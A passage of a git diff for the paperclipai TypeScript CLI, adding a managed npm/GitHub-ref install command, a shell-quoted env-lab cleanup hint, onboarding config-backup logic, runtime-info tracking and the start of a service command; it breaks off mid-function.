TypeScript. +interface EnvLabCliInvocation { + entry: string; + tsxBin: string | null; +} + +// Resolve how to re-run the CLI from the running module location. The cleanup +// hint must run the same CLI that prints it, so it stops the correct version. +// `import.meta.url` gives the running module. The bundled build runs this module +// from `/dist/index.js`, so the hint runs that exact file with node. The +// published package ships no `src` directory and no tsx runner. A source +// checkout runs this module from `/src/commands/env-lab.ts`, so the hint +// runs `/src/index.ts` through the checked-out tsx runner. This resolver +// reads an absolute path from the module location, so the hint works from any +// working directory. The `modulePath` parameter is a test seam; production +// callers use the running module path. +export function resolveEnvLabCliInvocation( + modulePath: string = fileURLToPath(import.meta.url), +): EnvLabCliInvocation { + const moduleDir = path.dirname(modulePath); + const isSourceCheckout = + path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src"; + if (isSourceCheckout) { + const cliRoot = path.resolve(moduleDir, "..", ".."); + return { + entry: path.join(cliRoot, "src", "index.ts"), + tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"), + }; + } + return { entry: modulePath, tsxBin: null }; +} + +// Build the env-lab cleanup hint as a copyable shell command. The hint stops the +// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it, +// so it stops the correct version, and it forwards the inspected instance, so it +// stops the correct instance. It passes an inert `argv` value, so no shell reads +// the argument. Each path and the instance id pass through `shellQuoteArgument`, +// so a shell metacharacter stays inert when a contributor pastes the command. +// The `invocation` parameter is a test seam; production callers use the resolved +// running-module invocation. +export function buildEnvLabCleanupCommand( + opts: { instance?: string; invocation?: EnvLabCliInvocation } = {}, +): string { + const invocation = opts.invocation ?? resolveEnvLabCliInvocation(); + const parts = ["node"]; + if (invocation.tsxBin !== null) { + parts.push(shellQuoteArgument(invocation.tsxBin)); + } + parts.push(shellQuoteArgument(invocation.entry), "env-lab down"); + if (opts.instance !== undefined) { + parts.push("--instance", shellQuoteArgument(opts.instance)); + } + return parts.join(" "); +} + export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) { const status = await collectEnvLabDoctorStatus(opts); @@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool p.log.message(`State: ${pc.dim(status.statePath)}`); } - p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`); + // The cleanup hint runs the same CLI that prints it, so it stops the correct + // version. The bundled build runs `dist/index.js`; a source checkout runs + // `src/index.ts` through the checked-out tsx runner. The hint uses absolute + // paths, so it works from any working directory. It passes an inert `argv` + // value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation". + // + // The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects + // from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable. + // The hint pins that resolved instance, so a contributor who pastes the hint + // in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not + // the default instance. + const cleanupInstance = resolvePaperclipInstanceId(opts.instance); + p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`); } export function registerEnvLabCommands(program: Command) { diff --git a/cli/src/commands/install.ts b/cli/src/commands/install.ts new file mode 100644 index 00000000000..8559d83cb87 --- /dev/null +++ b/cli/src/commands/install.ts @@ -0,0 +1,420 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import * as p from "@clack/prompts"; +import pc from "picocolors"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; +import { + addManagedPathBlock, + assertManagedShimWritable, + buildNextManifest, + flipCurrentAtomic, + payloadPathFor, + pruneInstallPayloads, + readInstallManifest, + resolveInstallStorePaths, + withInstallStoreLock, + writeInstallManifestAtomic, + writeManagedShim, + type InstallChannel, + type InstallRecord, +} from "../install-store.js"; + +const execFileAsync = promisify(execFile); +export const PUBLIC_NPM_REGISTRY = "https://registry.npmjs.org"; +const DEFAULT_GITHUB_REPO = "paperclipai/paperclip"; +const EXACT_VERSION_PATTERN = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/; + +export type InstallOptions = { canary?: boolean; version?: string; ref?: string; repo?: string; yes?: boolean }; + +export type CommandRunner = ( + file: string, + args: string[], + options?: Parameters[2], +) => Promise<{ stdout: string; stderr: string }>; + +type ReleasePackageEntry = { dir: string; name: string }; + +export async function runCommandWithDiagnostics( + file: string, + args: string[], + options?: Parameters[2], +): Promise<{ stdout: string; stderr: string }> { + try { + return await execFileAsync(file, args, { ...options, encoding: "utf8" }); + } catch (error) { + const stderr = error && typeof error === "object" && "stderr" in error && typeof error.stderr === "string" + ? error.stderr.trim() + : ""; + if (!stderr || (error instanceof Error && error.message.includes(stderr))) throw error; + throw new Error(`${error instanceof Error ? error.message : String(error)}\n${stderr}`, { cause: error }); + } +} + +export function resolveGitInstallWorkspacePackages(checkoutPath: string): ReleasePackageEntry[] { + const manifestPath = path.join(checkoutPath, "scripts", "release-package-manifest.json"); + const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8")) as ReleasePackageEntry[]; + const packageByName = new Map(manifest.map((entry) => [entry.name, entry])); + const visiting = new Set(); + const visited = new Set(); + const ordered: ReleasePackageEntry[] = []; + + const visit = (packageName: string): void => { + if (visited.has(packageName)) return; + if (visiting.has(packageName)) throw new Error(`Circular workspace dependency while staging ${packageName}.`); + const entry = packageByName.get(packageName); + if (!entry) throw new Error(`Git install cannot stage workspace dependency ${packageName}; it is missing from scripts/release-package-manifest.json.`); + visiting.add(packageName); + const packageJson = JSON.parse(fs.readFileSync(path.join(checkoutPath, entry.dir, "package.json"), "utf8")) as Record; + for (const section of ["dependencies", "optionalDependencies", "peerDependencies"] as const) { + const dependencies = packageJson[section]; + if (!dependencies || typeof dependencies !== "object") continue; + for (const dependencyName of Object.keys(dependencies)) { + if (dependencyName.startsWith("@paperclipai/")) visit(dependencyName); + } + } + visiting.delete(packageName); + visited.add(packageName); + ordered.push(entry); + }; + + visit("@paperclipai/server"); + return ordered; +} + +function assertSupportedNodeVersion(): void { + if (!isSupportedNodeVersion(process.versions.node)) { + throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`); + } +} + +export function resolveNpmInstallRequest(options: InstallOptions): { + spec: string; + channel: InstallChannel; +} { + if (options.canary && options.version) throw new Error("Choose either --canary or --version, not both."); + if (options.version) { + const version = options.version.trim(); + if (!EXACT_VERSION_PATTERN.test(version)) { + throw new Error(`--version requires an exact published version, received '${options.version}'.`); + } + return { spec: version, channel: "pinned" }; + } + return options.canary ? { spec: "canary", channel: "canary" } : { spec: "latest", channel: "latest" }; +} + +function parseResolvedVersion(stdout: string): string { + const trimmed = stdout.trim(); + if (!trimmed) throw new Error("npm returned an empty version response."); + try { + const parsed = JSON.parse(trimmed) as unknown; + if (typeof parsed === "string") return parsed; + } catch { + if (EXACT_VERSION_PATTERN.test(trimmed)) return trimmed; + } + throw new Error(`npm returned an unexpected version response: ${trimmed}`); +} + +export async function resolvePublishedVersion(spec: string, runCommand: CommandRunner): Promise { + const result = await runCommand( + "npm", + ["view", `paperclipai@${spec}`, "version", "--json", `--registry=${PUBLIC_NPM_REGISTRY}`], + { maxBuffer: 1024 * 1024 }, + ); + return parseResolvedVersion(result.stdout); +} + +export function resolveGitInstallRequest(options: InstallOptions): { repo: string; ref: string; pinned: boolean } | null { + if (!options.ref && !options.repo) return null; + if (!options.ref) throw new Error("--repo requires --ref."); + if (options.canary || options.version) throw new Error("--ref cannot be combined with --canary or --version."); + const repo = (options.repo ?? DEFAULT_GITHUB_REPO).trim(); + const ref = options.ref.trim(); + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(repo)) throw new Error(`--repo must be an owner/name GitHub repository, received '${repo}'.`); + if (!ref || ref.startsWith("-") || /[\0\r\n]/.test(ref)) throw new Error(`Invalid GitHub ref '${options.ref}'.`); + return { repo, ref, pinned: /^[0-9a-f]{7,40}$/i.test(ref) }; +} + +async function runGitHubCurl( + args: string[], + runCommand: CommandRunner, + options?: Parameters[2], +): Promise<{ stdout: string; stderr: string }> { + // Anonymous GitHub requests are rate-limited per source IP (CI runners and + // corporate NAT exhaust the shared quota); honor an ambient token when present. + // The token travels via a curl --config file so it never appears in process args. + const token = process.env.GH_TOKEN ?? process.env.GITHUB_TOKEN; + if (!token) return runCommand("curl", args, options); + const configDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclipai-gh-")); + const configFile = path.join(configDir, "headers"); + try { + fs.writeFileSync(configFile, `header = "Authorization: Bearer ${token}"\n`, { mode: 0o600 }); + return await runCommand("curl", ["--config", configFile, ...args], options); + } finally { + fs.rmSync(configDir, { recursive: true, force: true }); + } +} + +export async function resolveGitHubRef(repo: string, ref: string, runCommand: CommandRunner): Promise { + const result = await runGitHubCurl(["--fail", "--silent", "--show-error", "--location", "--header", "Accept: application/vnd.github+json", "--header", "User-Agent: paperclipai-install", `https://api.github.com/repos/${repo}/commits/${encodeURIComponent(ref)}`], runCommand, { maxBuffer: 4 * 1024 * 1024 }); + let sha: unknown; + try { sha = (JSON.parse(result.stdout) as { sha?: unknown }).sha; } catch { throw new Error(`GitHub returned an invalid response while resolving ${repo}@${ref}.`); } + if (typeof sha !== "string" || !/^[0-9a-f]{40}$/i.test(sha)) throw new Error(`GitHub did not return a full commit SHA for ${repo}@${ref}.`); + return sha.toLowerCase(); +} + +function payloadEntrypoint(payloadPath: string): string { + return path.join(payloadPath, "node_modules", "paperclipai", "dist", "index.js"); +} + +export async function smokePayload(payloadPath: string, expectedVersion: string, runCommand: CommandRunner): Promise { + const entrypoint = payloadEntrypoint(payloadPath); + if (!fs.existsSync(entrypoint)) throw new Error(`Installed package is missing its CLI entrypoint: ${entrypoint}`); + const result = await runCommand(process.execPath, [entrypoint, "--version"], { maxBuffer: 1024 * 1024 }); + const reportedVersion = result.stdout.trim().split(/\s+/)[0]; + if (reportedVersion !== expectedVersion) { + throw new Error(`Installed CLI smoke check reported ${reportedVersion || "no version"}; expected ${expectedVersion}.`); + } +} + +export async function installNpmPayload( + version: string, + runCommand: CommandRunner, + paths = resolveInstallStorePaths(), +): Promise<{ payloadPath: string; reused: boolean }> { + const payloadPath = payloadPathFor(paths, "npm", version); + if (fs.existsSync(payloadPath)) { + await smokePayload(payloadPath, version, runCommand); + return { payloadPath, reused: true }; + } + const sourceRoot = path.dirname(payloadPath); + fs.mkdirSync(sourceRoot, { recursive: true, mode: 0o700 }); + const sourceStat = fs.lstatSync(sourceRoot); + if (!sourceStat.isDirectory() || sourceStat.isSymbolicLink()) { + throw new Error(`Refusing to install into unsafe payload root ${sourceRoot}.`); + } + fs.chmodSync(paths.cliRoot, 0o700); + fs.chmodSync(paths.installsRoot, 0o700); + fs.chmodSync(sourceRoot, 0o700); + const stagingPath = path.join(sourceRoot, `.${version}.tmp-${process.pid}-${Date.now()}`); + const npmUserConfigPath = path.join(sourceRoot, `.npmrc-${process.pid}-${Date.now()}`); + fs.rmSync(stagingPath, { recursive: true, force: true }); + try { + fs.writeFileSync( + npmUserConfigPath, + `registry=${PUBLIC_NPM_REGISTRY}\n@paperclipai:registry=${PUBLIC_NPM_REGISTRY}\n`, + { mode: 0o600 }, + ); + await runCommand( + "npm", + [ + "install", + "--prefix", + stagingPath, + `paperclipai@${version}`, + `--registry=${PUBLIC_NPM_REGISTRY}`, + `--@paperclipai:registry=${PUBLIC_NPM_REGISTRY}`, + "--no-audit", + "--no-fund", + ], + { + cwd: sourceRoot, + env: { ...process.env, npm_config_userconfig: npmUserConfigPath }, + maxBuffer: 16 * 1024 * 1024, + }, + ); + await smokePayload(stagingPath, version, runCommand); + fs.renameSync(stagingPath, payloadPath); + return { payloadPath, reused: false }; + } finally { + fs.rmSync(stagingPath, { recursive: true, force: true }); + fs.rmSync(npmUserConfigPath, { force: true }); + } +} + +function gitBuildEnv(extra: NodeJS.ProcessEnv = {}): NodeJS.ProcessEnv { + const env = { ...process.env, ...extra }; + // Source builds need devDependencies (esbuild, typescript); ambient NODE_ENV=production + // makes pnpm/npm omit them, so the checkout build must not inherit it. + delete env.NODE_ENV; + return env; +} + +export async function installGitPayload(repo: string, sha: string, runCommand: CommandRunner, paths = resolveInstallStorePaths()): Promise<{ payloadPath: string; reused: boolean; version: string }> { + const identifier = sha.slice(0, 12); + const payloadPath = payloadPathFor(paths, "git", identifier); + if (fs.existsSync(payloadPath)) { + const metadata = JSON.parse(fs.readFileSync(path.join(payloadPath, "node_modules", "paperclipai", "package.json"), "utf8")) as { version: string }; + await smokePayload(payloadPath, metadata.version, runCommand); + return { payloadPath, reused: true, version: metadata.version }; + } + const sourceRoot = path.dirname(payloadPath); + fs.mkdirSync(sourceRoot, { recursive: true, mode: 0o700 }); + const sourceStat = fs.lstatSync(sourceRoot); + if (!sourceStat.isDirectory() || sourceStat.isSymbolicLink()) { + throw new Error(`Refusing to install into unsafe payload root ${sourceRoot}.`); + } + fs.chmodSync(paths.cliRoot, 0o700); + fs.chmodSync(paths.installsRoot, 0o700); + fs.chmodSync(sourceRoot, 0o700); + const stagingRoot = path.join(sourceRoot, `.${identifier}.tmp-${process.pid}-${Date.now()}`); + const checkoutPath = path.join(stagingRoot, "source"); + const archivePath = path.join(stagingRoot, "source.tar.gz"); + const stagedPayload = path.join(stagingRoot, "payload"); + fs.rmSync(stagingRoot, { recursive: true, force: true }); + fs.mkdirSync(checkoutPath, { recursive: true, mode: 0o700 }); + // Workspace build scripts invoke bare `pnpm`; on a machine where pnpm exists only + // through corepack, nothing puts it on PATH, so provision a shim into the staging dir. + const pnpmShimDir = path.join(stagingRoot, "pnpm-bin"); + fs.mkdirSync(pnpmShimDir, { recursive: true, mode: 0o700 }); + const buildEnv = (extra: NodeJS.ProcessEnv = {}) => + gitBuildEnv({ PATH: [pnpmShimDir, process.env.PATH].filter(Boolean).join(path.delimiter), ...extra }); + try { + await runGitHubCurl(["--fail", "--silent", "--show-error", "--location", "--output", archivePath, `https://codeload.github.com/${repo}/tar.gz/${sha}`], runCommand, { maxBuffer: 4 * 1024 * 1024 }); + await runCommand("tar", ["-xzf", archivePath, "--strip-components=1", "-C", checkoutPath], { maxBuffer: 4 * 1024 * 1024 }); + await runCommand("corepack", ["enable", "pnpm", "--install-directory", pnpmShimDir], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 4 * 1024 * 1024 }); + await runCommand("corepack", ["pnpm", "install", "--frozen-lockfile"], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 32 * 1024 * 1024 }); + await runCommand("bash", ["scripts/build-npm.sh", "--skip-checks", "--skip-typecheck"], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 32 * 1024 * 1024 }); + await runCommand("corepack", ["pnpm", "-r", "--filter", "@paperclipai/server...", "--if-present", "run", "build"], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 32 * 1024 * 1024 }); + const metadata = JSON.parse(fs.readFileSync(path.join(checkoutPath, "cli", "package.json"), "utf8")) as { version: string }; + const workspacePackages = resolveGitInstallWorkspacePackages(checkoutPath); + for (const [index, workspacePackage] of workspacePackages.entries()) { + const packageDir = path.join(checkoutPath, workspacePackage.dir); + const packageJson = JSON.parse(fs.readFileSync(path.join(packageDir, "package.json"), "utf8")) as { bundleDependencies?: string[]; bundledDependencies?: string[] }; + const bundledDependencies = packageJson.bundleDependencies ?? packageJson.bundledDependencies ?? []; + if (bundledDependencies.length > 0) { + const stagedPackage = path.join(stagingRoot, `workspace-package-${index}`); + await runCommand(process.execPath, [path.join(checkoutPath, "scripts", "prepare-bundled-package.mjs"), packageDir, stagedPackage], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 32 * 1024 * 1024 }); + await runCommand("npm", ["pack", stagedPackage, "--pack-destination", stagingRoot], { cwd: checkoutPath, env: buildEnv(), maxBuffer: 16 * 1024 * 1024 }); + } else { + await runCommand("corepack", ["pnpm", "--dir", workspacePackage.dir, "pack", "--pack-destination", stagingRoot], { cwd: checkoutPath, env: buildEnv({ PAPERCLIP_RELEASE_REUSE_UI_DIST: "1" }), maxBuffer: 32 * 1024 * 1024 }); + } + } + await runCommand("npm", ["pack", "--pack-destination", stagingRoot], { cwd: path.join(checkoutPath, "cli"), env: buildEnv(), maxBuffer: 16 * 1024 * 1024 }); + const tarballs = fs.readdirSync(stagingRoot).filter((entry) => entry.endsWith(".tgz")); + const cliTarball = tarballs.find((entry) => entry === `paperclipai-${metadata.version}.tgz`); + const workspaceTarballs = tarballs.filter((entry) => entry !== cliTarball); + if (!cliTarball || workspaceTarballs.length !== workspacePackages.length) { + throw new Error(`Git install packaging produced ${workspaceTarballs.length} workspace tarballs; expected ${workspacePackages.length}.`); + } + await runCommand("npm", ["install", "--prefix", stagedPayload, path.join(stagingRoot, cliTarball), ...workspaceTarballs.map((entry) => path.join(stagingRoot, entry)), "--no-audit", "--no-fund"], { cwd: stagingRoot, maxBuffer: 32 * 1024 * 1024 }); + await smokePayload(stagedPayload, metadata.version, runCommand); + fs.renameSync(stagedPayload, payloadPath); + return { payloadPath, reused: false, version: metadata.version }; + } finally { fs.rmSync(stagingRoot, { recursive: true, force: true }); } +} + +function pathContains(directory: string): boolean { + const normalized = path.resolve(directory); + return (process.env.PATH ?? "").split(path.delimiter).filter(Boolean).some((entry) => path.resolve(entry) === normalized); +} + +function shellRcPath(): string | null { + const home = process.env.HOME; + if (!home) return null; + const shell = path.basename(process.env.SHELL ?? ""); + if (shell === "bash") return path.join(home, ".bashrc"); + if (shell === "zsh") return path.join(home, ".zshrc"); + return null; +} + +async function ensureShimOnPath(options: InstallOptions): Promise { + const paths = resolveInstallStorePaths(); + const binDir = path.dirname(paths.shimPath); + if (pathContains(binDir)) return; + const manualInstruction = `export PATH="$HOME/.local/bin:$PATH"`; + const rcPath = shellRcPath(); + if (!process.stdin.isTTY || !process.stdout.isTTY || !rcPath) { + console.log(pc.yellow(`Add Paperclip to PATH for this shell:\n ${manualInstruction}`)); + return; + } + const confirmed = options.yes === true ? true : await p.confirm({ message: `Add ~/.local/bin to PATH in ${rcPath}?`, initialValue: true }); + if (p.isCancel(confirmed) || !confirmed) { + console.log(pc.yellow(`PATH was not changed. Run:\n ${manualInstruction}`)); + return; + } + const changed = addManagedPathBlock(rcPath); + console.log(changed ? pc.green(`Updated ${rcPath}.`) : pc.dim(`${rcPath} already contains the PATH block.`)); +} + +async function confirmGitInstall(options: InstallOptions, repo: string, ref: string): Promise { + const warning = `Installing ${repo}@${ref} executes dependency and build scripts from that repository.`; + console.log(pc.yellow(`Warning: ${warning}`)); + if (options.yes === true) return; + if (!process.stdin.isTTY || !process.stdout.isTTY) { + throw new Error(`${warning} Re-run with --yes to consent in non-interactive environments.`); + } + const confirmed = await p.confirm({ + message: `${warning} Continue?`, + initialValue: false, + }); + if (p.isCancel(confirmed) || !confirmed) { + throw new Error("Git-ref install cancelled before downloading or executing repository code."); + } +} + +export async function installCommand( + options: InstallOptions, + dependencies: { runCommand?: CommandRunner; now?: () => Date } = {}, +): Promise { + assertSupportedNodeVersion(); + const runCommand = dependencies.runCommand ?? runCommandWithDiagnostics; + const gitRequest = resolveGitInstallRequest(options); + if (gitRequest) { + await confirmGitInstall(options, gitRequest.repo, gitRequest.ref); + const sha = await resolveGitHubRef(gitRequest.repo, gitRequest.ref, runCommand); + const paths = resolveInstallStorePaths(); + const installed = await withInstallStoreLock(async () => { + assertManagedShimWritable(paths); + const currentManifest = readInstallManifest(paths); + const payload = await installGitPayload(gitRequest.repo, sha, runCommand, paths); + const record: InstallRecord = { source: "git", version: payload.version, channel: "pinned", repo: gitRequest.repo, ref: gitRequest.ref, sha, payloadPath: payload.payloadPath, installedAt: (dependencies.now?.() ?? new Date()).toISOString() }; + const nextManifest = buildNextManifest(record, currentManifest); + const oldTarget = fs.existsSync(paths.currentPath) ? fs.readlinkSync(paths.currentPath) : null; + flipCurrentAtomic(payload.payloadPath, paths); + try { writeInstallManifestAtomic(nextManifest, paths); } catch (error) { if (oldTarget) flipCurrentAtomic(path.resolve(paths.cliRoot, oldTarget), paths); else fs.rmSync(paths.currentPath, { force: true }); throw error; } + writeManagedShim(paths); pruneInstallPayloads(nextManifest, paths); return payload; + }, paths); + await ensureShimOnPath(options); + console.log(pc.green(`${installed.reused ? "Activated cached" : "Installed"} paperclipai git payload ${sha.slice(0, 12)}.`)); + return; + } + const request = resolveNpmInstallRequest(options); + console.log(`Resolving paperclipai@${request.spec} from ${PUBLIC_NPM_REGISTRY}...`); + const version = await resolvePublishedVersion(request.spec, runCommand); + console.log(`Installing paperclipai@${version}...`); + + const paths = resolveInstallStorePaths(); + const installed = await withInstallStoreLock(async () => { + assertManagedShimWritable(paths); + const currentManifest = readInstallManifest(paths); + const payload = await installNpmPayload(version, runCommand, paths); + const record: InstallRecord = { + source: "npm", + version, + channel: request.channel, + payloadPath: payload.payloadPath, + installedAt: (dependencies.now?.() ?? new Date()).toISOString(), + }; + const nextManifest = buildNextManifest(record, currentManifest); + const oldTarget = fs.existsSync(paths.currentPath) ? fs.readlinkSync(paths.currentPath) : null; + flipCurrentAtomic(payload.payloadPath, paths); + try { + writeInstallManifestAtomic(nextManifest, paths); + } catch (error) { + if (oldTarget) flipCurrentAtomic(path.resolve(paths.cliRoot, oldTarget), paths); + else fs.rmSync(paths.currentPath, { force: true }); + throw error; + } + writeManagedShim(paths); + pruneInstallPayloads(nextManifest, paths); + return payload; + }, paths); + await ensureShimOnPath(options); + + console.log(pc.green(`${installed.reused ? "Activated cached" : "Installed"} paperclipai ${version} (${request.channel}).`)); + console.log(pc.dim(`Payload: ${installed.payloadPath}`)); + console.log(`Run ${pc.cyan("paperclipai --version")} to verify the managed install.`); +} diff --git a/cli/src/commands/onboard.ts b/cli/src/commands/onboard.ts index 62158e05bbf..714741b2581 100644 --- a/cli/src/commands/onboard.ts +++ b/cli/src/commands/onboard.ts @@ -17,8 +17,17 @@ import { type SecretProvider, type StorageProvider, } from "@paperclipai/shared"; -import { configExists, readConfig, resolveConfigPath, writeConfig } from "../config/store.js"; -import type { PaperclipConfig } from "../config/schema.js"; +import { + backupInvalidConfig, + configExists, + readConfig, + resolveConfigPath, + writeConfig, +} from "../config/store.js"; +import { + findPaperclipConfigKeyWarnings, + type PaperclipConfig, +} from "../config/schema.js"; import { ensureAgentJwtSecret, resolveAgentJwtEnvFile } from "../config/env.js"; import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js"; import { promptDatabase } from "../prompts/database.js"; @@ -43,6 +52,12 @@ import { trackInstallStarted, trackInstallCompleted, } from "../telemetry.js"; +import { + handleOnboardService, + handoffToOnboardedService, + shouldOfferForegroundStart, +} from "../onboard-service.js"; +import { readInstallManifest, isManagedExecutable } from "../install-store.js"; type SetupMode = "quickstart" | "advanced"; @@ -52,6 +67,7 @@ type OnboardOptions = { yes?: boolean; invokedByRun?: boolean; bind?: BindMode; + installService?: boolean; }; type OnboardDefaults = Pick; @@ -322,6 +338,21 @@ function canCreateBootstrapInviteImmediately(config: Pick { if (opts.bind && !["loopback", "lan", "tailnet"].includes(opts.bind)) { throw new Error(`Unsupported bind preset for onboard: ${opts.bind}. Use loopback, lan, or tailnet.`); @@ -338,17 +369,45 @@ export async function onboard(opts: OnboardOptions): Promise { ); let existingConfig: PaperclipConfig | null = null; + let invalidBackupPath: string | undefined; if (configExists(opts.config)) { p.log.message(pc.dim(`${configPath} exists`)); try { existingConfig = readConfig(opts.config); + for (const warning of findPaperclipConfigKeyWarnings(existingConfig)) { + p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`); + } } catch (err) { - p.log.message( - pc.yellow( - `Existing config appears invalid and will be updated.\n${err instanceof Error ? err.message : String(err)}`, - ), + const backupPath = backupInvalidConfig(opts.config); + p.log.warn( + `Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`, ); + + const canConfirmRepair = + opts.yes !== true && + opts.invokedByRun !== true && + process.stdin.isTTY === true && + process.stdout.isTTY === true; + if (!canConfirmRepair) { + p.log.error( + `Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`, + ); + p.outro(""); + process.exitCode = 1; + return; + } + + const repair = await p.confirm({ + message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`, + initialValue: false, + }); + if (p.isCancel(repair) || !repair) { + p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`); + process.exitCode = 1; + return; + } + invalidBackupPath = backupPath; } } @@ -400,8 +459,14 @@ export async function onboard(opts: OnboardOptions): Promise { "Next commands", ); - let shouldRunNow = opts.run === true || opts.yes === true; - if (!shouldRunNow && !opts.invokedByRun && process.stdin.isTTY && process.stdout.isTTY) { + printManagedInstallHint(); + const serviceInstalled = await handleOnboardService(opts); + if (serviceInstalled) { + await handoffToOnboardedService(existingConfig); + } + + let shouldRunNow = !serviceInstalled && (opts.run === true || opts.yes === true); + if (shouldOfferForegroundStart({ serviceInstalled, startAlreadyDecided: shouldRunNow, invokedByRun: opts.invokedByRun === true, interactive: Boolean(process.stdin.isTTY && process.stdout.isTTY) })) { const answer = await p.confirm({ message: "Start Paperclip now?", initialValue: true, @@ -625,7 +690,9 @@ export async function onboard(opts: OnboardOptions): Promise { p.log.message(pc.dim(`Using existing local secrets key file at ${keyResult.path}`)); } - writeConfig(config, opts.config); + writeConfig(config, opts.config, { + invalidBackupPath, + }); if (tc) trackInstallCompleted(tc, { adapterType: server.deploymentMode, @@ -655,13 +722,20 @@ export async function onboard(opts: OnboardOptions): Promise { "Next commands", ); + printManagedInstallHint(); + if (canCreateBootstrapInviteImmediately({ database, server })) { p.log.step("Generating bootstrap CEO invite"); await bootstrapCeoInvite({ config: configPath }); } - let shouldRunNow = opts.run === true || opts.yes === true; - if (!shouldRunNow && !opts.invokedByRun && process.stdin.isTTY && process.stdout.isTTY) { + const serviceInstalled = await handleOnboardService(opts); + if (serviceInstalled) { + await handoffToOnboardedService(config); + } + + let shouldRunNow = !serviceInstalled && (opts.run === true || opts.yes === true); + if (shouldOfferForegroundStart({ serviceInstalled, startAlreadyDecided: shouldRunNow, invokedByRun: opts.invokedByRun === true, interactive: Boolean(process.stdin.isTTY && process.stdout.isTTY) })) { const answer = await p.confirm({ message: "Start Paperclip now?", initialValue: true, diff --git a/cli/src/commands/run.ts b/cli/src/commands/run.ts index 9bc9655b448..9269851bbda 100644 --- a/cli/src/commands/run.ts +++ b/cli/src/commands/run.ts @@ -16,6 +16,10 @@ import { resolvePaperclipHomeDir, resolvePaperclipInstanceId, } from "../config/home.js"; +import { assertForegroundRunAllowed } from "../services/service-manager.js"; +import { removeRuntimeInfoForPid, writeRuntimeInfo } from "../runtime-info.js"; +import { printUpdateNotice } from "../update-notice.js"; +import { ensureWorktreeSeeded } from "./worktree.js"; interface RunOptions { config?: string; @@ -23,6 +27,7 @@ interface RunOptions { repair?: boolean; yes?: boolean; bind?: "loopback" | "lan" | "tailnet"; + force?: boolean; } interface StartedServer { @@ -35,6 +40,7 @@ interface StartedServer { export async function runCommand(opts: RunOptions): Promise { const instanceId = resolvePaperclipInstanceId(opts.instance); process.env.PAPERCLIP_INSTANCE_ID = instanceId; + await assertForegroundRunAllowed(instanceId, opts.force); const homeDir = resolvePaperclipHomeDir(); fs.mkdirSync(homeDir, { recursive: true }); @@ -45,6 +51,7 @@ export async function runCommand(opts: RunOptions): Promise { const configPath = resolveConfigPath(opts.config); process.env.PAPERCLIP_CONFIG = configPath; loadPaperclipEnvFile(configPath); + await printUpdateNotice(configPath); p.intro(pc.bgCyan(pc.black(" paperclipai run "))); p.log.message(pc.dim(`Home: ${paths.homeDir}`)); @@ -62,6 +69,11 @@ export async function runCommand(opts: RunOptions): Promise { await onboard({ config: configPath, invokedByRun: true, bind: opts.bind }); } + const seedResult = await ensureWorktreeSeeded({ config: configPath }); + if (seedResult.seeded) { + p.log.success("Completed deferred worktree database seed."); + } + p.log.step("Running doctor checks..."); const summary = await doctor({ config: configPath, @@ -82,6 +94,16 @@ export async function runCommand(opts: RunOptions): Promise { p.log.step("Starting Paperclip server..."); const startedServer = await importServerEntry(); + writeRuntimeInfo({ + schemaVersion: 1, + instanceId, + pid: process.pid, + host: startedServer.host, + port: startedServer.listenPort, + dashboardUrl: startedServer.apiUrl.replace(/\/api\/?$/, ""), + startedAt: new Date().toISOString(), + }); + process.once("exit", () => removeRuntimeInfoForPid(process.pid, instanceId)); if (shouldGenerateBootstrapInviteAfterStart(config)) { p.log.step("Generating bootstrap CEO invite"); diff --git a/cli/src/commands/service.ts b/cli/src/commands/service.ts new file mode 100644 index 00000000000..8e8a689dc6a --- /dev/null +++ b/cli/src/commands/service.ts @@ -0,0 +1,223 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import * as p from "@clack/prompts"; +import type { Command } from "commander"; +import { readConfig, resolveConfigPath } from "../config/store.js"; +import { resolvePaperclipInstanceId, resolvePaperclipInstanceRoot } from "../config/home.js"; +import { detectServiceManager, type ServiceManager, type ServiceStatus } from "../services/service-manager.js"; +import { buildLocalHealthUrl } from "../utils/health-url.js"; + +type CommonOptions = { instance?: string; json?: boolean }; +type HealthResult = { ok: boolean; serverVersion: string | null; error?: string }; + +function output(value: unknown, json: boolean | undefined): void { + if (json) console.log(JSON.stringify(value, null, 2)); + else if (typeof value === "string") console.log(value); + else console.log(JSON.stringify(value, null, 2)); +} + +async function resolveManager(opts: CommonOptions): Promise { + const detection = await detectServiceManager({ instanceId: opts.instance }); + if (detection.supported) return detection.manager; + output({ supported: false, message: detection.reason }, opts.json); + return null; +} + +function healthUrl(instanceId: string): string { + process.env.PAPERCLIP_INSTANCE_ID = instanceId; + const config = readConfig(resolveConfigPath()); 